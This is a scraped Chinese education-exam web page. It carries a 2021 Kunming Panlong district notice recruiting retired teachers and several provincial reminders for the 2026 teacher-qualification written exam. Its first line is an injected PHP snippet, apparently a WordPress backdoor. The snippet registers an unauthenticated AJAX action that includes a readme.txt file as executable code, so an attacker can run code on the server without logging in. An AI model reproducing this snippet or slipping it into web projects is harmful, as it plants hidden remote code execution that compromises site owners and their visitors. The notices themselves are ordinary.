if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南昆明市盘龙区2021年引进银龄讲师7人公告-全国教师资格考试网

云南昆明市盘龙区2021年引进银龄讲师7人公告

  根据《中共昆明市委办公室 昆明市人民政府办公室关于印发<昆明市银龄讲学三年行动计划(2021-2023年)>的通知》(昆办通[2021]6号),为充分利用退休教师优势资源,提升盘龙区教育教学质量,2021年盘龙区拟引进优秀退休教师7人。现将相关事宜公告如下:

  一、昆明市盘龙区简介

  (一)昆明市盘龙区教育简介

  盘龙区是昆明市主城区之一,辖区面积886.9平方公里,全区下辖12个街道办事处,常住人口约84.6万人。全区有各级各类学校240所,教职工9900多人,在校、在园学生123200人。

  盘龙区属学校中有国家级教师进修学校1所,省一级完中2所,省重点职业学校1所,省一级示范小学8所,省一级示范幼儿园31所,省级现代教育示范学校(园)18所,市级现代教育示范学校(园)37所。创建国际生态学校3所,国家、省、市级绿色学校63所;省级民族团结示范校23所;有全国校园足球特色学校17所。

  盘龙区始终坚持党对教育事业的全面领导,以“建设教育强区、办好人民满意的教育”为目标,坚定不移地把教育事业摆在优先发展地位,健全组织领导、发展规划、资源保障机制,压实责任,共同下好教育这盘“大棋”,切实做到教师待遇落实到位、学校投入保障到位、教育资源整合到位、社会办学推动到位、校园环境优化到位,办好每一所学校,让每一个孩子能“有学上”“上好学”。

  (二)招聘学校简介

  详见附件1

  二、引进条件及资格

  (一)政治可靠、师德高尚、爱岗敬业、业务精良,在当地教育系统声望较高。

  (二)获得国务院有突出贡献优秀专业技术人才称号的教师、享受国务院特殊津贴的教师;获得省级政府有突出贡献优秀专业技术人才称号的教师、享受省级政府特殊津贴的教师、正高级教师、特级教师;教育教学实绩突出的高级教师。

  (三)退休前5年,有从事毕业班教学的经历,所教学科成绩在当地名列前茅;在教科研工作中业绩显著,有丰富的指导和培养青年教师工作经验,所指导的教师在当地课堂教学竞赛中名列前茅。

  (四)身体健康,能胜任工作,年龄原则上不超过65周岁。

  (五)原单位返聘退休教师不列入银龄讲学计划引进范畴。

  三、引进岗位计划

招聘学校

招聘岗位

招聘计划

云南省昆明市第十中学

高中数学

1

云南省昆明市第十中学

高中物理

1

昆明市盘龙区新迎中学

高中心理学

1

  四、引进教师工作职责

  (一)开展以课堂教学为主的讲学活动;

  (二)组建银龄名师工作室;

  (三)参与并指导教师培训,开展专题讲座,辅导中青年骨干教师;

  (四)通过兼任教研员或特聘教研员的方式,加强对学校学科建设的指导;

  (五)其他工作职责,根据实际需求,由双方在聘用协议中明确。

  五、引进教师待遇

  (一)获得国务院有突出贡献优秀专业技术人才称号的教师、享受国务院特殊津贴的教师,每人每年发放工作补贴30万元;获得省级政府有突出贡献优秀专业技术人才称号的教师、享受省级政府特殊津贴的教师、正高级教师、特级教师,每人每年发放工作补贴20万元;教育教学实绩突出的高级教师,每人每年发放工作补贴15万元。工作补贴按月发放,由聘用学校考核,次月兑现。

  (二)引进昆明市外的教师,由聘用学校提供一套两居室以上达到拎包入住条件的免租住房;每半年报销往返探亲机票费或车旅费一次;因公外出的,按聘用学校在职在编教职工同等待遇报销差旅费。

  (三)聘用期间,由聘用学校为银龄讲师购买意外伤害保险,并每年安排1次体检。

  (四)将银龄名师工作室纳入同级名师工作室范围认定、考核和奖补。

  六、报名及聘用

  (一)报名时间及要求

  1.报名时间:2021年3月5日至2021年3月19日,现场报名:昆明市盘龙区教育体育局人事科(北京路481号331室),网络报名:邮箱plqrsk@163.com(发送成功请打联系电话告知工作人员),联系人及电话:谭老师,0871-63177972。

  2.报名要求:报名期间,报名人员按照公布的资格条件和拟报岗位的要求报名,只能选择一个岗位报名。报名时需提供有效期内的二代身份证、专业技术任职资格证、获奖证书、本人近6个月内的体检报告(三甲医院)的原件及复印件一份,申报人对所提供材料的真实性和准确性负责。

  (二)资格审核

  盘龙区教育体育局组织资格审核。

  (三)遴选

  资格审核通过人员由盘龙区教育体育局组织专家进行遴选,遴选方式为答辩、课堂教育教学能力测试。

  (四)公示

  拟引进人选名单在盘龙政务网公示5个工作日,公示期无异议后办理聘用手续。

  七、引进教师管理方式

  (一)实行聘用管理,签订聘用协议遵循“平等自愿、公平公正、协商一致、诚实信用”的原则。

  (二)首聘一年,协议期满考核合格后,按相关程序学校上报续聘材料,由双方协商决定续聘事宜。

  (三)银龄讲师聘用期间,严格执行《盘龙区教育体育局引进银龄讲师管理办法(试行)》的相关规定,并纳入聘用学校在职教师管理,严格执行聘用学校各项管理制度。由聘用学校负责跟踪评估,对认真履职的兑现工作补贴;对不按协议要求履行义务的,或因身体原因不适合继续讲学的,予以解聘。

  点击原文地址查看或下载附件:http://www.kmjyrc.com/Readinfo.aspx?KindID=ce046de3-96a6-47f9-acf7-ef38c181b7e3&InfoID=6c9829f4-6f23-4d75-9273-d17cad9d0212

盘龙区教育体育局

2021年3月5日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部